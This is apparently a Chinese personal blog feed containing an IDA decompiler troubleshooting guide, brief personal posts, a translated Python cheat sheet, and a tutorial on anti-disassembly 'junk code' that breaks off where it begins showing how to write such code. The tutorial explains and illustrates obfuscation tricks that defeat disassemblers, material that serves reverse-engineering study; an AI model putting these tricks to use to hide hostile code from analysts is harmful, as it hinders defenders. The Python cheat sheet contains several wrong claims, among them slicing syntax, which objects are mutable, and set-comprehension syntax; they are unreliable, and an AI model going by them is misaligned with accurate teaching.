在标准的 Linux syscall 下，传入的 rax 和返回的 rax 应该是一样的，于是 IDA 进行常量传播优化。但在 VM 的自定义环境中，syscall 就不会这么“标准”了。

IDA 的反编译：

1
v58 = 0x7177625F32303231i64;
2
__writefsqword(0, 0x7177625F32303231i64);
3
__asm {syscall}
4
v59 = 4919i64;
5
// ...

首先，IDA 不清楚 0x1337 (4919) 对应的系统调用是什么—— Linux 内核中的系统调用还没到 500 个呢¹！此外，由于进行了常数传播优化，所以 IDA 把 0x1337 传播给了下面调用的 rax。但我们可以知道 0x1337 对应的系统调用是有另外的返回值给 rax 的，所以需要让 IDA 知道这个 syscall 并不标准。

选中 syscall，用 Decompile as call.. 重定义为 int __usercall mysyscall@<rax>(int num@<rax>);。

这里也出现了多次读取 fs 寄存器的问题，按照前面的说明修改即可。

Golang 反编译失败处理#

IDA 报错 Call analysis failed

Hex-Rays 官方

这是最令人痛苦的错误消息，但你仍然可以做些事情来解决问题。简而言之，这条消息意味着反编译器无法确定调用约定和调用参数。如果这是一个直接的、非可变参调用，你可以通过指定被调用者类型来修复它：直接跳转到被调用者并点击 Y 来指定类型。对于可变参函数，指定类型也是一个好主意，但调用分析仍然可能失败，因为反编译器必须找出调用中的实际参数数量。我们建议首先检查整个函数中的栈指针。清除任何不正确的栈指针值。其次，检查所有被调用函数的类型。如果被调用函数的类型不正确，可能会干扰其他调用并导致失败。

原因是 IDA 分析目标函数调用时函数参数分析错误，此时将目标函数定义中参数删去即可，即修改为 <type> func_X();。

INTERR 50735#

在我尝试反编译一个 32 位程序时，IDA 9 报错 INTERR 50735。

官方论坛的一篇帖子 X86 decompiler interr in 9.2 认为此错误可能由插件引发。这是相关异常处理代码 (verify.cpp)：

1
if ( a.type.get_size() != a.size )
2
  INTERR(50735); // argument size and its type size mismatch

它将基于其类型的预期值大小 a.type.get_size() 与数据的实际大小 a.size 进行比较。如果不匹配，则会触发内部错误代号 50735

D810-ng 的一份 Issue 指出“INTERR 50735 错误是在 Hex-Rays 内部引发的……这是反编译器自身对函数调用参数大小和类型的检查 (mcallinfo verify)，在 IDA 9.3 中，首次反编译某个函数时可能会触发此错误。”

此问题貌似仅在 32 位程序上出现。解决办法是：先保存一遍 idb，然后再打开就能反编译了。

IDA 官方建议#

当反编译器失败时，请检查以下事项：

函数边界。函数中不应存在任何无目的跳转到函数外部的分支。函数应通过返回指令或跳转到另一个函数的开始处来正确结束。如果函数在调用一个非返回函数后结束，被调用者必须被标记为非返回函数。
堆栈指针值。使用 Options > General > Stack pointer 命令，在反汇编视图中的地址后面以列形式显示它们。如果函数的任何位置堆栈指针值不正确，反编译可能会失败。要更正堆栈指针值，请使用 Edit > Functions > Change stack pointer 命令。
堆栈变量。使用 Edit > Functions > Stack variables… 命令打开堆栈帧窗口，并验证定义是否合理。在某些情况下，创建一个大的数组或一个结构变量可能会有所帮助。
函数类型。调用约定、参数的数量和类型必须正确。如果未指定函数类型，反编译器将尝试推断它。在某些罕见的情况下，它可能会失败。如果函数期望其输入在非标准寄存器中，或者返回结果在非标准寄存器中，您必须通知反编译器。目前它对非标准输入位置能做出很好的猜测，但无法处理非标准返回位置。
调用函数的类型和引用的数据项。类型错误很容易造成严重问题。使用 F 快捷键在消息窗口中显示当前项的类型。对于函数，将光标定位在开头并按下 F。如果类型不正确，使用 Edit > Functions > Set function type（快捷键是 Y）进行修改。此命令不仅适用于函数，也适用于数据和结构成员。
如果一个类型引用了未定义的类型，反编译可能会失败。
使用由最新版本 IDA 创建的数据库。
在某些情况下，输出可能包含红色的变量。这意味着局部变量分配失败。请阅读关于重叠变量的页面，了解可能的纠正方法。

Footnotes#

Linux kernel syscall tables ↩

2025福州大学基电实验小提示

Wed, 25 Jun 2025 22:30:32 GMT

本文已加密保护，请访问网站查看。

2025/6 近况小记

Sun, 22 Jun 2025 19:18:05 GMT

主包正在紧张复习中……又浪了一个学期，大一马上就要结束了。

对，就是说这一句话而发的文章。虽然可以发 Memos 的，但主博客还是需要更新一下的。

糟糕！我忘记买热带风味冰红茶了 😭

谈某家云服务器商

Wed, 11 Jun 2025 11:29:30 GMT

这快快网络也忒离谱了，注册个账号就 QQ、微信和疑似推销电话全面进攻了，我虽然没看几家云服务商，但这家的服务有点太过“热情”了，“热情”到让我想起线下超市里那些主动推销的服务员。

但问题是，我很反感这类服务。在线下，我会远远绕开；在线上，我只能置之不理。

然后在另外一个公益 CDN 的群里看到了这一家的神操作：用 9.9 元一年的宣传价格吸引用户，然后活动还没结束就要求购买用户改为 9.9 元一月。

总之一句话：这家云的信用已经没了。

2025高考加油

Tue, 03 Jun 2025 21:34:49 GMT

祝2025届高考考生得偿所愿！

好快啊，一年过去了，我终于要成为ldx了吗😢

Update#

🍇六中今年也有勇敢学弟办了喊楼 👏

喊楼视频截图

说起来还是我那一届开的先河。过去市里一中、二中等中学会办喊楼活动，但六中太小了，领导也不想节外生枝，没有办喊楼的心思。

但为了不给青春留下遗憾，趁着高考前夕我们搬到科学楼集中考前复习的机会，我们年段里一些有想法的同学就开始行动。

几位同学自己买了一些道具——主要是弯折即发光的小荧光棒——在晚自习前的时间里分发给年段里的所有同学。

第一节晚自习下课后，这几位同学便拿出音响和话筒，开始喊楼。

我们簇拥着涌出教室，挥舞着手里的荧光棒。

而到了晚自习结束，他们甚至拿出了礼花（不是那种发射到空中的，都是放到地面的）。在烟雾和叫喊声中，我们的王队（年段长）在一旁静立看着。

几位领导比较保守，但由于是高考前夕，也不敢真处罚，只是在教师群里要求说“加强管理”。

很多老师其实也是很支持喊楼的，有一位老师想起了之前 TA 经历的几次喊楼活动，吐槽说来六中之后就再也没看到过了🤣。

子供はグーチョキパーで学校楽しくなる小朋友像剪刀石头布（丰富多彩）学校才有意思 ——《世界はグー・チョキ・パー》（武田鉄矢）

就这样吧。

这是我给高三考生的一点建议:

今天距离高考还有两天，高考考完一定不要去对答案，尽情享受假期。
天气炎热的话注意避暑，可自带风油精、冰袋降温。
疯狂暗示自己，一定可以考出理想的成绩。
狂欢聚会什么的，考后再计划也来得及。
星星之火，可以燎原，相信你我皆是黑马。
期望的分数不要太高，不要眼高手低，做好困难准备。
四点那会考数学特别容易饿，中午一定要吃饱。
微信里经常有人发所谓标准答案，不要轻信。
我不会的题别人也不会，不要慌张。
五点左右考完可以去散散步，不要着急回家吃饭
十点半是最合适的上床时间。不是高考生的看每一条第一个字就好了

Python Cheat Sheet

Thu, 29 May 2025 20:13:28 GMT

Info

本手册是 Python cheat sheet 的中文翻译版。原作者：Arianne Colton and Sean Chen (data.scientist.info@gmail.com) 编译：ucasFL 以 MIT License 分发转载后二次修改，主要是版面细节调整，以增强阅读体验。

Guys，我们虽然在高中一年级已经学了一些 Python 知识，但经过后面两年的折磨，如果你没有继续投入，想必早就忘记了它的语法了吧。没关系，我们接下来会快速过一遍 Python 的语法知识点。

惯例#

Python 对大小写敏感；
Python 的索引从 0 开始（几乎所有编程语言均如此）；
Python 使用空白符（制表符或空格）来缩进代码，而不是使用花括号。

获取帮助#

获取主页帮助： help()
获取函数帮助： help(str.replace)
获取模块帮助： help(re)

模块#

模块亦称库，它只是一个简单地以 .py 为后缀的文件。

列出模块内容：dir(module1)
导入模块：import module
调用模块中的函数：module1.func1()

Tip

import 语句会创建一个新的命名空间，并且在该命名空间内执行 .py 文件中的所有语句。如果你想把模块内容导入到当前命名空间，请使用 from module1 import * 语句。

数值类类型#

查看变量的数据类型：type(variable)

六种经常使用的数据类型#

int/long：过大的 int 类型会被自动转化为 long 类型。
float：64 位，Python 中没有 double 类型。
bool：真或假。
str：在 Python 2 中默认以 ASCII 编码，而在 Python 3 中默认以 Unicode 编码；
- 字符串可置于单/双/三引号中；
- 字符串是字符的序列，因此可以像处理其他序列一样处理字符串；
- 特殊字符可通过 \ 或者前缀 r 实现：
```
1
str1 = r'this\f?ff'
```
- 字符串可通过多种方式格式化：
```
1
template = '%.2f %s haha $%d';
2
str1 = template % (4.88, 'hola', 2)
```
NoneType(None)：Python null 值（只有 None 对象的一个实例中存在）。
- None 不是一个保留关键字，而是 NoneType 的一个唯一实例。
- None 通常是可选函数参数的默认值：
```
1
def func1(a, b, c = None)
```
- None 的常见用法：
```
1
if variable is None :
```
datetime：Python 内建的 datetime 模块提供了 datetime、date 以及 time 类型。
- datetime 组合了存储于 date 和 time 中的信息。

1
#从字符串中创建 datetime
2
dt1 = datetime.strptime('20091031', '%Y%m%d')
3
#获取 date 对象
4
dt1.date()
5
#获取 time 对象
6
dt1.time()
7
#将 datetime 格式化为字符串
8
dt1.strftime('%m/%d/%Y%H:%M')
9
#更改字段值
10
dt2 = dt1.replace(minute = 0, second = 30)
11
#做差, diff 是一个 datetime.timedelta 对象
12
diff = dt1 - dt2

Tip

Python 中的绝大多数对象都是可变的，只有字符串和元组例外

数据结构#

Tip

所有的 non-Get 函数调用，比如下面例子中的 list1.sort() 都是原地操作，即不会创建新的对象，除非特别声明。

元组#

元组是 Python 中任何类型的对象的一个一维、固定长度、不可变的序列。

1
#创建元组
2
tup1 = 4, 5, 6
3
# or
4
tup1 = (6, 7, 8)
5
#创建嵌套元组
6
tup1 = (4, 5, 6), (7, 8)
7
#将序列或迭代器转化为元组
8
tuple([1, 0, 2])
9
#连接元组
10
tup1 + tup2
11
#解包元组
12
a, b, c = tup1

元组应用：

1
#交换两个变量的值
2
a, b = b, a

列表#

列表是 Python 中任何类型的对象的一个一维、非固定长度、可变（比如内容可以被修改）的序列。

1
#创建列表
2
list1 = [1, 'a', 3]
3
#or
4
list1 = list(tup1)
5
#连接列表
6
list1 + list2
7
#or
8
list1.extend(list2)
9
#追加到列表的末尾
10
list1.append('b')
11
#插入指定位置
12
list1.insert(PosIndex, 'a')
13
#反向插入，即弹出给定位置的值/删除
14
ValueAtIdx = list1.pop(PosIndex)
15
#移除列表中的第一个值, a 必须是列表中第一个值
16
list1.remove('a')
17
#检查成员资格
18
3 in list1 => True or False
19
#对列表进行排序
20
list1.sort()
21
#按特定方式排序
22
list1.sort(key = len) # 按长度排序

展开收起

使用 + 连接列表会有比较大的开支，因为这个过程中会创建一个新的列表，然后复制对象。因此，使用 extend() 是更明智的选择；
insert 和 append 相比会有更大的开支（时间/空间）；
在列表中检查是否包含一个值会比在字典和集合中慢很多，因为前者需要进行线性扫描，而后者是基于哈希表的，所以只需要花费常数时间。

内建的 `bisect` 模块#

对一个排序好的列表进行二分查找或插入；
bisect.bisect找到元素在列表中的位置，bisect.insort将元素插入到相应位置。用法：

1
import bisect
2
list1 = list(range(10))
3
#找到 5 在 list1 中的位置，从 1 开始，因此 position = index + 1
4
bisect.bisect(list1, 5)
5
#将 3.5 插入 list1 中合适位置
6
bisect.insort(list1, 3.5)

Tip

bisect 模块中的函数并不会去检查列表是否排序好，因为这会花费很多时间。所以，对未排序好的列表使用这些函数也不会报错，但可能会返回不正确的结果

针对序列类型的切片#

序列类型包括 str、array、tuple、list 等。

用法：

1
list1[start:stop]
2
#如果使用 step
3
list1(start:stop:step)

Tip

切片结果包含 start 索引，但不包含 stop 索引；start/stop 索引可以省略，如果省略，则默认为序列从开始到结束，如 list1 == list1[:]

step 的应用：

1
#取出奇数位置的元素
2
list1[::2]
3
#反转字符串
4
str1[::-1]

字典（哈希映射）#

1
#创建字典
2
dict1 = {'key1': 'value1', 2: [3,2]}
3
#从序列创建字典
4
dict(zip(KeyList, ValueList))
5
#获取/设置/插入元素
6
dict1['key1']
7
dict1['key1'] = 'NewValue'
8
#get 提供默认值
9
dict1.get('key1', DefaultValue)
10
#检查键是否存在
11
'key1' in dict1
12
#获取键列表
13
dict1.keys()
14
#获取值列表
15
dict1.values()
16
#更新值
17
dict1.update(dict2)#dict1 的值被 dict2 替换

如果键不存在，则会出现 KeyError Exception 。
当键不存在时，如果 get()不提供默认值则会返回 None 。
以相同的顺序返回键列表和值列表，但顺序不是特定的，又称极大可能非排序。

有效字典键类型#

键必须是不可变的，比如标量类型(int、float、string)或者元组（元组中的所有对象也必须是不可变的）。
这儿涉及的技术术语是 hashability。可以用函数 hash()来检查一个对象是否是可哈希的，比如 hash('This is a string') 会返回一个哈希值，而 hash([1,2]) 则会报错（不可哈希）。

集合#

一个集合是一些无序且唯一的元素的聚集；
你可以把它看成只有键的字典；

1
#创建集合
2
set([3, 6, 3])
3
#or
4
{3, 6, 3}
5
#子集测试
6
set1.issubset(set2)
7
#超集测试
8
set1.issuperset(set2)
9
#测试两个集合中的元素是否完全相同
10
set1 == set2

集合操作#

并（又称或）：set1 | set2
交（又称与）：set1 & set2
差：set1 - set2
对称差（又称异或）：set1 ^ set2

函数#

Python 的函数参数传递是通过引用传递。

基本形式

1
def func1(posArg1, keywordArg1 = 1, ..)

Tip

关键字参数必须跟在位置参数的后面；默认情况下，Python 不会“延迟求值”，表达式的值会立刻求出来。

函数调用机制#

所有函数均位于模块内部作用域。见“模块”部分。
在调用函数时，参数被打包成一个元组和一个字典，函数接收一个元组 args 和一个字典 kwargs，然后在函数内部解包。

“函数是对象”的常见用法：

1
def func1(ops = [str.strip, user_define_func, ..], ..):
2
  for function in ops:
3
    value = function(value)

返回值#

如果函数末尾没有 return 语句，则不会返回任何东西。
如果有多个返回值则通过一个元组来实现。

1
return (value1, value2)
2
value1, value2 = func1(..)

匿名函数（又称 LAMBDA 函数）#

什么是匿名函数？

匿名函数是一个只包含一条语句的简单函数。

1
lambda x : x * 2
2
# def func1(x) : return x * 2

匿名函数的应用：‘curring’，又称利用已存在函数的部分参数来派生新的函数。

1
ma60 = lambda x : pd.rolling_mean(x, 60)

一些有用的函数（针对数据结构）#

enumerate() 返回一个序列(i, value)元组，i 是当前 item 的索引。

1
for i, value in enumerate(collection):

应用：创建一个序列中值与其在序列中的位置的字典映射（假设每一个值都是唯一的）。

sort()可以从任意序列中返回一个排序好的序列。

1
sorted([2, 1, 3]) => [1, 2, 3]

应用：

1
sorted(set('abc bcd')) => [' ',
2
'a', 'b', 'c', 'd']
3
# 返回一个字符串排序后无重复的字母序列

zip()函数可以把许多列表、元组或其他序列的元素配对起来创建一系列的元组。

1
zip(seq1, seq2) => [('seq1_1', 'seq2_1'), (..), ..]

zip()可以接收任意数量的序列作为参数，但是产生的元素的数目取决于最短的序列。

应用：多个序列同时迭代：

1
for i, (a, b) in enumerate(zip(seq1, seq2)):

unzip：另一种思考方式是把一些行转化为一些列：

1
seq1, seq2 = zip(zipOutput)

reversed() 将一个序列的元素以逆序迭代。

1
list(reversed(range(10)))

reversed() 会返回一个迭代器，list() 使之成为一个列表。

控制流#

用于 if-else 条件中的操作符：

1
#检查两个变量是否是相同的对象
2
var1 is var2
3
#检查两个变量是否是不同的对象
4
var1 is not var2
5
#检查两个变量的值是否相等
6
var1 == var2

Warning

Python 中使用 and、or、not 来组合条件，而不是使用 &&、||、!

for循环的常见用法：

1
#可迭代对象（list、tuple）或迭代器
2
for element in iterator:
3
#如果元素是可以解包的序列
4
for a, b, c in iterator:

pass：无操作语句，在不需要进行任何操作的块中使用。
三元表达式，又称简洁的 if-else，基本形式：

1
value = true-expr if condition else false-expr

Python 中没有 switch/case 语句，请使用 if/elif。

面向对象编程#

对象是 Python 中所有类型的根。
万物（数字、字符串、函数、类、模块等）皆为对象，每个对象均有一个类型（type）。对象变量是一个指向变量在内存中位置的指针。
所有对象均为引用计数。

1
sys.getrefcount(5) => x
2
a = 5, b = a
3
#上式会在等号的右边创建一个对象的引用，因此 a 和 b 均指向 5
4
sys.getrefcount(5)
5
=> x + 2
6
del(a); sys.getrefcount(5) => x + 1

类的基本形式：

1
class MyObject(object):
2
  # 'self' 等价于 Java/C++ 中的 'this'
3
  def __init__(self, name):
4
    self.name = name
5
  def memberFunc1(self, arg1):
6
      ..
7
  @staticmethod
8
  def classFunc2(arg1):
9
    ..
10
obj1 = MyObject('name1')
11
obj1.memberFunc1('a')
12
MyObject.classFunc2('b')

有用的交互式工具：

1
dir(variable1) #列出对象的所有可用方法

常见字符串操作#

1
#通过分隔符连接列表/元组
2
', '.join([ 'v1', 'v2', 'v3']) => 'v1, v2, v3'
3

4
#格式化字符串
5
string1 = 'My name is {0}　{name}'
6
newString1 = string1.format('Sean', name =　'Chen')
7

8
#分裂字符串
9
sep = '-';
10
stringList1 =　string1.split(sep)
11

12
#获取子串
13
start = 1;
14
string1[start:8]
15

16
#补 '0' 向右对齐字符串
17
month = '5';
18
month.zfill(2) => '05'
19
month = '12';
20
month.zfill(2) => '12'
21
month.zfill(3) => '012'

展开收起

对列表和字典以及元组的深入理解

异常处理#

基本形式：

1
try:
2
  ..
3
except ValueError as e:
4
  print e
5
except (TypeError, AnotherError):
6
  ..
7
except:
8
  ..
9
finally:
10
  .. # 清理，比如 close db;

手动引发异常：

1
raise AssertionError # 断言失败
2
raise SystemExit
3
# 请求程序退出
4
raise RuntimeError('错误信息 :..')

对列表和字典以及元组的深入理解#

语法糖（syntactic sugar）会使代码变得更加易读易写。

对列表的理解#

将一些元素通过一个简短的语句传入一个过滤器进行过滤和转化，然后可以组成一个新的列表。

1
#基本形式
2
[expr for val in collection if condition]
3
#ShortCut
4
result = []
5
for val in collection:
6
  if condition:
7
    result.append(expr)

可以省略过滤条件，只留下表达式。

对字典的理解#

基本形式：

1
{key-expr : value-expr for value in collection if condition}

对集合的理解#

基本形式：和列表一样，只是应该使用 () 而不是 [] 。

嵌套列表#

基本形式：

1
[expr for val in collection for innerVal in val if condition]

花指令

Mon, 26 May 2025 17:17:47 GMT

花指令 (junk code) 是一种专门用来迷惑反编译器的指令片段，这些指令片段不会影响程序的原有功能，但会使得反汇编器的结果出现偏差，从而使破解者分析失败。（对于只会 F5 的人来说，就是地狱）

这些对抗手段主要的目的都是消磨耐心和拖延时间，抬高人肉分析的成本。但混淆加花这种手段是无法做到只让机器读懂代码而人读不懂这种效果的。

Note

“众所周知，逆向这个活七分靠猜，因为在 compilation 的过程中大量信息丢失了，如分支跳转，类型，oop 里的跳转表，尾递归优化，死码消除等，所以逆向不可能完全靠精确无误的 algorithm，还需要可能出错但是大部分时候正确的 heuristic（经验原则）。 “我现在很悲观，二进制分析看起来最靠谱的方法是对着编译器的优化 case-by-case 写分析，或者寻求人工智能，处理这些需要靠猜来解决的问题。” ——All You Ever Wanted to Know About x86 x64 Binary Disassembly but Were Afraid to Ask

花指令的原理和识别#

反汇编算法简介#

常用的反汇编算法分为两类：线性扫描 (linear sweep) 和递归下降 (recursive decend)。

线性扫描从入口开始，依次将每一条字节序列解析为指令，遇到分支指令不会递归进入分支。这种反汇编算法非常老实，但问题是：不是所有字节都是指令，因此中间会解析出一些花指令。在指令区域中找到数据并不罕见，尤其是在一些现代编译器的处理产物中。在指令之间插入只读数据的一个原因是，编译器必须遵循某些架构约束，以便使代码运行得更快。区分代码和数据非常困难。目前我们没有任何确定的算法能够正确识别出哪些被用作代码，哪些被用作数据。大多数分析工具实现了某些启发式算法来尝试区分指令和数据。

Note
反汇编任何数据，都可能产生看似有效的 x86 代码。 ——Recognizing and Avoiding Disassembled Junk
在二进制文件中区分代码和数据是一个完全不可解问题。由于线性扫描算法会将每个看起来像合法代码字节的字节都解码为代码，因此它最终会将许多数据字节解释为指令。原因在于，在 Intel x86 指令集中，256 种可能性中有 248 种可以是合法指令的起始字节，这使得算法更容易将数据误判为指令。Intel x86 指令集允许指令长度可变这一事实进一步加剧了代码与数据的区分问题。因此，单个反汇编错误可能导致后续许多字节被错误解释，错误的范围可能无界。 ——Disassembly Challenges

伪代码：
```
1
target = getFunctionAddress(main)
2
targetEnd = getFunctionEnd(main)
3
currentAddr = target
4
while currentAddr < targetEnd:
5
  currentLen = disAsm(addr)
6
  currentAddr += currentLen
```
递归下降从入口开始，依次将每一条字节序列解析为指令，遇到分支指令递归进入分支以优先反汇编可达的代码。

关联资料
What is the algorithm used in Recursive Traversal disassembly? IDA 使用的算法是线性扫描和递归下降的综合。

递归下降是基于代码控制流分析的算法，可以在一定程度上模拟程序的实际执行流程。对于反汇编的指令，我们立即评估其语义能力。如果正在分析的指令改变了流程控制，我们将针对该指令目标和下一条指令启动反汇编。

欺骗算法#

接下来介绍一些花指令的具体原理。

无用的指令#

源代码：

1
add eax, ebx
2
mul ecx

调用一些不使用的寄存器：

1
xor esi, 011223344h ; garbage
2
add esi, eax ; garbage
3
add eax, ebx
4
mov edx, eax ; garbage
5
shl edx, 4 ; garbage
6
mul ecx
7
xor esi, ecx ; garbage

增加花指令之后，原有的汇编代码变得更为枯涩难懂，从而达到不轻易被逆向工程的效果。

可变长度指令#

x86 指令集的长度不是固定的。有些指令很短，只有 1 字节；有一些指令比较长，可以达到 5 字节。如果通过巧妙构造，引导反汇编引擎解析一条错误的指令，扰乱解析指令的长度，就能使反汇编引擎无法按照正确的指令长度依次解析邻接未解析的指令，最终使得反汇编引擎返回错误结果。

接下来看一个例子：

jmp 指令的机器码（称为 opcode）是 E9，机器语法为：0xE9 + 4 字节的偏移值（目标地址-当前地址-5），如 0xE9 0x00 0x00 0x00 0x00 即跳转到下一条指令。

注意，E9 代表的是近跳转，使用相对地址；EA 和 FF 对应远跳转，使用绝对地址。参考 JMP — Jump

这是一个简单的基于 jmp 的花指令：

1
0000 E9 01 00 00 00 jmp 0006
2
0005 0xE9           ...
3
0006 0x50           push eax
4
0007 0x53           push ebx
5
0008 0x5B           pop ebx
6
0009 B8 56 34 12 00 mov eax,0x123456

正确的过程是，CPU 执行 E9 01 00 00 00 后跳到 0006 地址处继续执行，位于 0005 的字节码是不执行的。

但线性扫描反汇编在分析完了 0000 地址后会接着分析 0005 地址，这就是问题所在：反汇编引擎识别到 0005 处的 0xE9 时会想当然地解析为 jmp 指令。这种引擎分析出来的结果可能是这样的：

1
0000 E9 01 00 00 00 jmp 0006
2
0005 E9 50 53 5B B8 jmp ...
3
0010 56 34 12 00    ...

逻辑完全打乱了！

分支指令#

前面说过，递归下降是基于控制流的算法，因此简单的 jmp 就无法搪塞过去了。但如果我们对控制流做了手脚呢？

je 是一个条件跳转指令，当反汇编引擎遇到该指令时，就会分别解析可能跳转的两个分支。

Note

静态反编译引擎没有判断分支条件是否满足的能力，因此必须同时分析两个分支。

例如这种花指令：

1
xor eax,eax
2
cmp eax,0
3
je  ...
4
... ; junk code
5

6
... ; goal

xor 是异或运算，这里用于清零 eax，这样在正常执行流程中，cmp eax,0 是永真的，je 必定跳过花指令而执行目标指令。如果是编译器，在开启优化的情况下甚至可以把这里的花指令优化掉。

但是对于反汇编器，递归下降必须分析两条分支，即使 je 可能已经指定了目标。反汇编引擎可能会分析到错误的分支，导致无法继续分析。这对于所有有条件跳转均有效。

也可以使用 jz 和 jnz，形成永真/永假条件。

1
  jz  label
2
  jnz label
3

4
  ; junk code
5

6
label:
7
  ; normal code

1
  push ebx
2
  xor ebx, ebx
3
  test ebx, ebx
4
  jnz   LABEL7
5
  jz    LABEL8
6

7
LABEL7:
8
  _emit 0xC7 ; junk code
9

10
LABEL8:
11
  pop ebx

1
  clc
2
  jnz label1
3
  _emit ; junkcode
4

5
label1:
6
  ; normal code

间接跳转#

通过多次跳转使得反汇编引擎无法识别真正代码的入口点。

1
                               ; 实际执行路径
2
04009A9  call $+5              ; 将返回地址 04009AE 压栈，跳转到 04009AE
3
04009AE  pop rax               ; rax = 04009AE (从栈中弹出返回地址)
4
04009AF  add rax, 8            ; rax = 04009B6 (计算第二阶段地址)
5
04009B1  jmp rax               ; 跳转到 04009B6
6

7
; ---------- 垃圾字节区 1 ----------
8
04009B3  db 0EBh, 0EBh, 0EBh   ; [垃圾] 三个 JMP 短跳转指令，但永远不会执行
9
; ---------- 垃圾字节区结束 ----------
10

11
04009B6  call $+5              ; 将返回地址 04009BB 压栈，跳转到 04009BB
12
04009BB  pop rbx               ; rbx = 04009BB
13
04009BC  add rbx, 8            ; rbx = 04009C3
14
04009BF  jmp rbx               ; 跳转到 04009C3
15

16
; ---------- 垃圾字节区 2 ----------
17
04009C1  db 0EBh, 0EBh         ; 两个 JMP 短跳转指令，永远不会执行
18
; ---------- 垃圾字节区结束 ----------
19

20
04009C3  db 48h                ; [有效代码开始] 这里是真正的代码，但没有被识别到

展开收起

这两段代码仅执行跳转操作。由于地址使用相对地址，在执行过程中动态计算（$），所以我们称这种代码为位置无关代码 (Position independent code, PIC)。

Tip

PIC 代码中的寻址不依赖于程序地址空间的任何特定位置。因此，PIC 代码和跳转表永远不会使用绝对地址引用。相反，这些引用是以相对于运行时可知的基准值的偏移量形式存在，主要通过 EIP 值实现。尽管存在明确的 CALL 位置，标准控制流分析依然无法发现所 CALL 的目标位置。 ——Disassembly Challenges

正常流程下，计算机可以计算出相对地址的具体值，因此间接跳转没有问题；但反汇编引擎不一样，静态分析是没法算动态地址的！因此分析出来的 jmp 跳转错乱，没有把有用的指令反汇编出来（如 04009C7 处应该是指令，却被识别为数据）。

指令复用#

换句话说，指令跳转到自己的内部。

1
      loc_4009E0:
2
EB FF jmp short near ptr loc_4009E0+1 ; jump from EB to FF
3
;---
4
C0 FF C8 sar bh,0C8h

在正常过程中，计算机从 EB 跳到 FF，然后从 FF 开始解析指令：

1
; after jump
2
EB
3
;---
4
FF C0 inc eax
5
FF C8 dec eax

但静态反汇编难以“重走回头路”，结果就是和实际结果又错位了！

Note

……我们碰到一个棘手的问题，所有给定字节都是多字节指令的一部分，而且它们都能够被执行。目前业内没有一个反汇编器能够将单个字节表示为两条指令的组成部分，然而处理器没有这种限制。 ——《恶意代码分析实战》

破坏栈#

栈平衡，简单来讲，就是函数调用结束时，要保证和在函数调用开始的堆栈是一致的（栈顶寄存器 ESP 的值一致）。正常可运行的程序，栈必然平衡，否则会报错。

我们可以误导反汇编的静态分析，使之误认为栈未平衡。IDA 会提示 positive sp value has been detected, the output may be wrong!。

Tip

如果错误点在当前区域，会在顶端注释；如果错误点不在当前区域，会弹窗并给出错误点的地址，跳转过去即可。但是，反编译不报错不代表就没有花指令了，这时需要看看反汇编有没有报错。

例如：

1
xor eax,eax
2
jz s
3
add 0x11,esp ; computer does not exec this code!
4
ret
5

6
  s:
7
; normal code

这本质上是一个 GOTO s，正常执行到 jz s 就会跳转到 s 处，但还记得反汇编引擎必须分析条件跳转的两个分支吗？于是就反汇编到 add 0x11,esp，一看下一行就返回了，但 esp 没平衡啊！于是报错。

Note

正常来讲，两个分支的栈都应该是平衡的。只要有一个分支出现栈不平衡，IDA 就会分析失败。

扰乱控制流分析#

反汇编引擎有一些基本假设，比如函数结构。此时可以通过构造符合结构的语句，将原本简单的语句伪装成更复杂的语句

1
call next
2
  next:
3
mov dword ptr [esp], continue ; Write address of continue to ESP
4
ret
5

6
  continue:
7
; normal code

call 和 ret 等价于 push+jmp 和 pop+jmp，这里反汇编器可能将 next 当成一个函数（其实它不是，我们称之为“假函数”）。

实际执行时，上述代码等效于 jmp continue。但在反汇编器眼里可能是：

1
next();
2
// ...

花指令的一般处理#

先确定实际函数的范围（入口和出口）并恢复函数。出口标志为 ret，但由于花指令可能破坏栈，因此要向后看看。

大部分情况下，剩下的花指令直接 nop 掉（花指令 Hex 字节全部修改为等长的 0x90 字节序列）即可。如果在 IDA 内修改，需要先将误识别的代码片段 Undefine 一下，把指令码露出来再重新分析。在 Options > General… > Disassembly > Number of opcode bytes (non-graph) 中可以修改你需要 IDA 显示的操作码长度的上限，默认为 0，即不显示操作码。

Warning

在除去花指令的时候，也请尊重程序的原始指令。将 flag 验证逻辑 nop 掉并不会让你得到分数。

主要靠动态调试观察执行流确定花指令。IDA 也会醒目标注出一些异常指令（JUMPOUT、WARNING 等）。有时花指令太多不能一次性去除，就多试几遍。

确定都 nop 完但函数反汇编/反编译仍然报错，你就需要“提醒”IDA 重新分析函数。根据 Hex-Rays 官方 TIP，可以按 Alt + P（编辑函数）然后直接 Enter，IDA 就会重新分析函数。

Tip

花指令内部如果涉及到寄存器的使用，一般会将其保存在栈中。利用这个弱点，我们可以观察 sp 寄存器来判断花指令的入口和出口（push、pop 或 call）

Note

花指令有很多模式，但一个显著特征是跳转，必须通过跳转指令来实现越过不可执行的花指令，或通过跳转来实现重新解释已经被解释过的指令的一部分，以及通过连续跳转来隐藏真实跳转地址。 ——加壳原理笔记07：花指令入门

如果没跳过去呢？没跳过去那不叫“花指令”，那叫 Bug 🐛！Bug 我们肯定是要消除的啊。这种题一般是让你熟悉 patch 流程的。

一种简单的 nop 方法是：先分析花指令序列，得到花指令的 Hex 串（称为模式，pattern），然后通过十六进制编辑器搜索这个模式并替换为等长的 90 串。注意，十六进制编辑器的修改会直接影响到程序。

如果是 IDA/x64dbg 等有数据库设定的工具，所有修改其实是在独立数据库中执行的，需要另外导出修改后的程序。例如，IDA 的 Edit > Patch program > Apply patches to… 可以导出被修改的程序，然后在动态调试下的程序就会执行你修改后的指令。如果 Patch 炸了也没事，IDA 会自动备份原始程序（即 .bak 文件，把后缀去了就是原文件）。

Warning

由于花指令不影响程序正常运行，因此 nop 完后的程序必然能运行起来。如果花指令序列过短，一方面可能无法完全消除花指令，另一方面，也可能 nop 掉正常指令。这就需要各位尽可能地完整包含花指令的特征序列。

花指令的调试#

为了加快分析速度，动态调试只需要调试（疑似）花指令片段即可，正常代码尽量不执行。

可以先在程序开头断点，然后调试时用 IDA 的 “Set IP” 修改 EIP/RIP 寄存器直接执行（疑似）花指令入口指令。

花指令的编写#

构造有效花指令的关键思路就是构造使源程序逻辑不受影响的内联汇编 (inline assembly) 代码，同时在内联汇编代码中嵌入 jmp、call + ret 之类的对应机器码指令，使反汇编软件在反汇编时错误地识别这些机器码为汇编指令，从而影响反汇编出来的程序的正常流程。

C/C++ 可以直接在代码中插入汇编语句。由于汇编语言依赖具体软硬件平台，因此具体标准详见各编译器文档。

以 Linux x86-64 平台下的 GCC 和 Clang 为例，一个简单的破坏栈的花指令可以这么写：

1
#include <cstdio>
2

3
